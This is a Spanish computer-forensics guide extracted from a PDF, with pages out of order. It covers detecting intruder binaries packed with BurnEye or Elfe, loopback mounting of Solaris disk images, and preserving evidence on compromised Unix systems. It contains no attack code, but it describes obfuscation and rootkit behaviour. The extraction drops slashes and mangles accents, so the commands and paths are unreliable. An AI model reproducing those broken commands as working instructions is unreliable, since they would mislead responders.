descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 7: Análisis Forense de Sistemas GNU/Linux, Unix

2Hay muchas posibilidades de que se le paso algo importante por alto al administrador y el intruso (o intrusos)siguen teniendo acceso al sistema Por lo tanto es mejor sufrir un downtime de red mientras que se realiza elanaacutelisis forense del sistema

Se tiene que establecer una prioridad entre

1Funcionamiento inmediato teniendo presente que las huellas dejadas por ellos intrusos pueden haberse elimi-nado por descuido del administrador y su equipo y que el servidor puede seguir teniendo puertas traseras bienocultas Esta opcioacuten permite estar operativo en poco tiempo

2 Investigacioacuten forense detallada que permite conseguir los objetivos mencionados en la seccioacuten 1a del capiacutetuloIntroduccioacuten asegurarse 100 de que el equipo estaacute seguro y recoger pruebas suficientes para poder iniciar eltraacutemite legal Esta opcioacuten supone un mayor tiempo de permanencia off-line si no existen planes de contingenciay procedimientos para la recuperacioacuten del servicio

Asumiendo que el anaacutelisis es una prioridad iquestcuaacuteles son los siguientes pasos

3 Congelacioacuten de la Escena del CrimenUna vez que el Administrador del sistema tenga sospechas de que su sistema haya sido violado y que no existanpruebas que indiquen lo contrario como por ejemplo resultados de chequeos de integridad realizados por poralguna herramienta como Tripwire o AIDE (Advanced Intrusion Detection Environment) tiene que considerar queefectivamente el sistema ha sido violado Desde aqueacutel momento es necesario tener maacuteximo cuidado para evitar quese produzca cualquier alteracioacuten de la escena del crimen

Hay varios tipos de pruebas que oculta el sistema con diferentes niveles de volatilidad en lugares como registros delprocesador estructura de datos en la memoria swap estructuras de datos de red contadores procesos de usuario enmemoria y stacks cache del file system el file system y etc

Seraacute muy difiacutecil o casi imposible de reunir toda esa informacioacuten en el preciso momento que el intruso estaacute operandopor lo tanto necesitamos prescindir de ella y reunir aquella informacioacuten que se recoge con mayor facilidad antes dellegada de un especialista forense que determinaraacute el meacutetodo de entrada actividad de intrusos identidad y origende intrusos duracioacuten de compromiso posiblemente lo bastante para localizarles) En otras palabras iquestCoacutemo iquestQueacuteiquestQuieacuten iquestDe doacutende iquestCuando

La opcioacuten maacutes faacutecil es de evitar que las cosas no cambien - cerrar el sistema o suspender su funcionamiento

Normalmente los sistemas Unix se cierran con el comando shutdown Eso se hace para asegurarse que todos losservicios han finalizado de forma limpia todos los ficheros cache y buffers de sistemas estaacuten flusheados y los usuariosestaacuten notificados Este procedimiento es perfecto para sistemas intactos pero en un sistema afectado esa accioacutenlo maacutes seguro que borre alguna informacioacuten de intereacutes Hubo casos cuando los intrusos programaban sistemas para

7

eliminar algunos ficheros en la maacutequina cuando el interfaz de red se deshabilitase ( es decir cuando el cable deconexioacuten haya sido desconectado) o cuando el procedimiento de un shutdown normal haya sido activado

Para prevenir esas modificaciones del sistema de ficheros es mejor sacar el cable de electricidad del enchufe (Siacute siacutelo has leiacutedo bien) Hay que estar informados que puede ser que alguna informacioacuten en la memoria o informacioacuten delcache no guardada en el disco puede ser eliminada como estado de red procesos ejecutaacutendose en la memoria accesosa memoria kernel contenido de registros swap etc

Para ello antes de sacar el cable del enchufe puede hacer lo siguiente ejecutar varios comandos antes de apagar deforma bruta el sistema Se debe hacerlo en una sesioacuten script (ver man del comando script)

Importante Si el administrador no estaacute seguro de lo que estaacute haciendo se debe simplemente desenchufar el sistemay ponerse en contacto con un investigador forense especializado ya que las pruebas pueden ser dantildeadas con muchafacilidad

En caso de que el administrador esteacute seguro de si mismo puede utilizar algunas de las herramientas que vienen acontinuacioacuten siempre con cuidado

bull last w who - Obtener el listado de usuarios actuales en el sistema logins anteriores etc

bull ls - Obtener el listado largo (ls -lat) de ficheros en lugares sospechosos los home directories directorio devdirectorio root etc

bull ps - Obtener el listado largo de todos los procesos incluidos aquellos sin ttys (eg ps auxwww y ps elfwww --antildeadir maacutes flags w si el listado se acorta)

bull lsof - Obtener un listado completo de descriptores de ficheros que puede mostrar algunos backdoors snifferseggdrop IRC bots redireccionadores de puertos para VNC etc(Ojo con cwd cual es el directorio local en el cualel programa ha sido ejecutado)

bull find - Identificar todos ficheros corrientes directorios modificados desde la fecha de uacuteltimo acceso no autorizadoo que pertenecen al usuario desde cuya cuenta se sospecha que fue originado el ataque

Importante La utilidad find modifica el i-node last accessed con el timestamp actual entonces no debe utilizaresta utilidad para barrer el sistema de ficheros si todaviacutea quiere saber cuales son los ficheros accedidos por elatacante si el sistema de ficheros estaacute montado en modo lectura y escritura

bull ltrace strace truss (SunOS 5) - Ver uacuteltimos accesos a ficheros de configuracioacuten de rootkit ejemplo Examinarel fichero binls trucado

8

Ejemplo

[sonnethoractivalinkcom] truss -t open lsopen(devzero O_RDONLY) = 3open(usrliblibcso1 O_RDONLY) = 4open(usrliblibdlso1 O_RDONLY) = 4open(usrplatformSUNWSun_4_75liblibc_psrso1 O_RDONLY) Err2 ENOENT

---gt open(devptyr O_RDONLY) Err2 ENOENTopen( O_RDONLY|O_NDELAY) = 3[list of files]

Ver paacuteginas man de cada una de las utilidades para conocer sus funciones

4 Problemas con Recoleccioacuten de InformacioacutenUn sistema informaacutetico no soacutelo puede ser instruido para auto-destruirse una vez se produzcan las condiciones deriesgo consideradas por el intruso sino tambieacuten realizar tareas programadas de eliminacioacuten sustitucioacuten de ficheros yejecuciones de aplicaciones determinadas

Es muy frecuente encontrar los comandos de sistema moacutedulos de kernel cargables (LKM) libreriacuteas dinaacutemicas y etcmodificados o reemplazados por la voluntad del intruso Bajo estas circunstancias eso puede obligar a que el sistemaoperativo mintiese Examinando en este caso el estado del servidor todo aparenta estar en orden pero en realidadel sistema estaacute totalmente manipulado con cuatro cinco diez diferentes back-doors para permitir al hacker el faacutecilacceso al servidor en un futuro teniendo instalado un root kit [10]

Si no hay seguridad de que las utilidades comunes esteacuten mostrando la verdadera situacioacuten se debe utilizar aplicacionesalternativas Los moacutedulos de kernel cargables (LKM) o libreriacuteas dinaacutemicas pueden estar alteradas para proporcionarinformacioacuten falsa En estos casos se debe utilizar binarios compilados de forma estaacutetica desde un toolkit como FireBiatchux o descargados de la web de incident-responceorg

Se debe cuestionar permanentemente la informacioacuten que el servidor estaacute proporcionando Seriacutea aconsejable y muchomaacutes faacutecil y seguro si simplemente el disco duro fuese extraiacutedo de la maacutequina afectada y fuese montado en modo soacutelolectura en una estacioacuten de anaacutelisis similar al servidor atacado

Se debe tambieacuten considerar montar el disco como noexec y nodev para asegurarse que no pueda ser ejecutada ningunaaplicacioacuten desde el disco duro comprometido y que se ignoren los ficheros de dispositivos en el directorio dev Esmuy aconsejable estudiar bien la paacutegina man de la utilidad mount

Ejemplo

9

mount -o ronoexecnodev devhda1 t

Si no disponemos de un equipo dedicado para el anaacutelisis ni decidimos llevarlo por la viacutea oficial pero tenemos elintereacutes de conocer los detalles del ataque y el equipo tiene un CD-ROM existen herramientas forenses que permitenel estudio post-mortem en situ Un buen ejemplo de herramienta de este tipo es Fire-Biatchux [11] que permite tenerde forma instantaacutenea un entorno de anaacutelisis seguro proporcionando copias iacutentegras de todos los binarios necesariosde GNULinux y Solaris para llevar acabo la investigacioacuten La utilizacioacuten de esa teacutecnica de investigacioacuten forense saledel entorno de este documento y seraacute cubierta en los papers futuros

5 Almacenamiento de PruebasUna vez el disco ha sido sacado de la maacutequina debe ser almacenado de forma segura para poder ser utilizado comoprueba a posteriori en un juicio Si no se almacena de forma correcta no seraacute la primera vez que la investigacioacuten nopueda seguir o las pruebas se declaren nulas por parte de un juez o jurado por contaminacioacuten o tratamiento indebido

Es necesario tomar notas de lo que se hace con el disco duro y a que hora almacenaacutendolo en una ubicacioacuten seguracomo por ejemplo una caja fuerte Es recomendable que siempre que se trabaje con el medio original esteacute acompantildeadopor un colega para que conste a los efectos legales y su testimonio pueda ser confirmado por alguien con un nivel deconocimientos similar

Las copias deben ser hechas bit-por-bit es decir seraacute necesario hacer imaacutegenes del disco La investigacioacuten debe serllevada sobre una copia y nunca sobre el disco original Se debe hacer tres copias del disco duro original Sobre todaslas copias y original se debe llevar acabo una verificacioacuten criptograacutefica - un checksum MD5

Creacioacuten de imagenes es un meacutetodo de hacer copias exactas de particiones de disco duro La utilidad que nos permitellevarlo acabo es dd (ver la paacutegina man de la utilidad y el artiacuteculo de Thomas Rude [12]) Utilidades como tar y cpioestaacuten bien si la portabilidad es lo maacutes importante y dump y restore estaacuten perfectas para recuperar ficheros individualesen casos de que la consistencia de informacioacuten es lo maacutes importante

Por supuesto eacutestas utilidades tienen su sitio merecido pero a lo que se refiere al anaacutelisis forense lo maacutes importantees conservacioacuten de informacioacuten Las utilidades descritas anteriormente no le permiten conservar el espacio slack alfinal de los ficheros ni permiten conservar que es lo que exactamente conteniacutean los bloques de los ficheros eliminadosYa que los intrusos frecuentemente almacenan ficheros en el espacio slack de los archivos y borran de forma seguralos archivos logs una vez que hayan penetrado en el sistema para ocultar sus huellas

Todas las acciones realizadas durante el anaacutelisis deben ser documentadas detenidamente Es faacutecil hacerlo si se utilizael programa script el cual toma nota de toda la entrada y salida del shell Script marca la hora de iniciofin del log deeventos y usa el comando date varias veces durante la sesioacuten para guardar los tiempos intermedios

6 Preparacioacuten para el Anaacutelisis

10

Esteacute analizando el sistema con las herramientas forenses especiacuteficas o no se debe de seguir los mismos pasos baacutesicossiempre para prepararse para el anaacutelisis completo del sistema

bull En algunos casos es necesario fotografiar el equipo afectado antes de mover cualquier detalle del mismo Esopuede ser necesario como prueba del incidente en casos que posiblemente puedan acabar en una sala de juicio Enotros casos seraacute necesario documentar los detalles de todos los componentes del sistema como valores ID de losdispositivos SCSI por ejemplo y etc

bull Empezar haciendo apuntes detallados en el cuaderno Tener bien detallados apuntes con la fecha y hora del inicioy fin de cualquier trabajo realizado seraacute muy uacutetil durante y al final del anaacutelisis Es importante que todos loshechos pertinentes al caso durante la preparacioacuten recuperacioacuten y anaacutelisis de las pruebas sobre un ataque esteacutenperfectamente documentados Estas notas serviraacuten como base para poder desarrollar un informe detallado deincidencia que se debe preparar una vez terminado el anaacutelisis Este documento deberaacute servir como una prueba delincidente o ataque Siempre que se realiza cualquier apunte al cuaderno el asistente debe tener un

completo conocimiento y entendimiento de lo que ha sido apuntado

bull Antes de apagar el sistema seraacute uacutetil recoger algunos ejemplos de aquella informacioacuten que posiblemente no hasido cambiada por los intrusos como la organizacioacuten de sistema de ficheros de etcfstab el nombre del hostsu direccioacuten IP del fichero etchosts y informacioacuten de algunos dispositivos desde los ficheros varlogdmesg oficheros de log de sistema varlogmessages Esa informacioacuten normalmente va a caber en un disco 144 de formacomprimida con targz Si no quiere o no puede extraer esa informacioacuten en este paso en los siguientes pasos esoseraacute maacutes difiacutecil

Ejemplo

cd tar -cvzf devfd0 etchosts etcfstab varlogdmesg varlogmessagesetchostsetcfstabvarlogdmesgvarlogmessages

11

bull iexclHaga 3 imaacutegenes del disco duro entero y trabaje con copias y no con el original En el peor caso que tengaque trabajar con el disco original correriacutea el riesgo de hacer una pequentildea equivocacioacuten que eliminariacutea las huellasde forma parcial o total El original debe ser almacenado en una caja fuerte para estar totalmente seguros que elcontenido del dispositivo no esteacute alterado o eliminado Para ello generariacuteamos verificaciones de integridad MD5las imprimiremos en etiquetas y eacutestas las pegaremos en el original y en las copias La etiqueta del original debecontener la fecha y hora de extraccioacuten del disco del sistema comprometido y la fecha y hora de almacenamientodel disco en la caja fuerte Las etiquetas de las 3 copias deben tener letras de alfabeto griego (como ejemplo) Acontinuacioacuten estaacuten detalladas todas estas tareas

a El disco original debe ser conectado al controladora IDE sin utilizar y el sistema debe ser arrancada despueacutes Sedebe tener mucho cuidado para no dantildear el disco en caso de conflictos master-slave en el controlador IDE etc Espor ello que insistiacutea anteriormente en tener 2 controladoras IDE para evitar este tipo de problemas es decir que esmuy conveniente tener un uacutenico disco duro conectado a la segunda interfaz IDE (si tiene conectado un CD-ROM enla segunda interfaz de IDE se debe quitar de forma temporal)

Puede ser que sea necesario modificar las opciones de deteccioacuten automaacutetica de la geometriacutea de discos en los ajustesBIOS (Los pasos deben ser apuntados siempre para poder volver al estado anterior si se comete cualquier error)

b Las particiones del disco duro deben ser identificadas con el programa fdisk Nunca se debe utilizar fdisk en modointeractivo ya que se arriesga que la tabla de particiones existente o las etiquetas se modifiquen (fdisk es un programai386 GNULinux modelado a partir de su equivalente de DOS)

Ejemplo

fdisk -l devhdd

Disk devhdd 255 heads 63 sectors 1575 cylindersUnits = cylinders of 16065 512 bytes

Device Boot Start End Blocks Id Systemdevhdd1 1 869 6980211 b Win95 FAT32devhdd2 870 1022 1228972+ 83 Linuxdevhdd3 1023 1035 104422+ 82 Linux swapdevhdd4 1036 1575 4337550 83 Linux

A partir de este listado podemos sacar una buena conclusioacuten que la particioacuten devhdd2 era particioacuten root y devhdd4era algo parecido a usr o home No puede decir cual de las dos es en este paso pero se puede ver el fichero salvadoetcfstab o alternativamente montarla particioacuten y examinar su contenido

12

En caso de que hayamos hecho una imagen de la particioacuten debemos restaurarla para su estudio posterior

c Se generan los checksums de integridad de particiones con MD5 del disco original y sus imaacutegenes para verificar sicoinciden

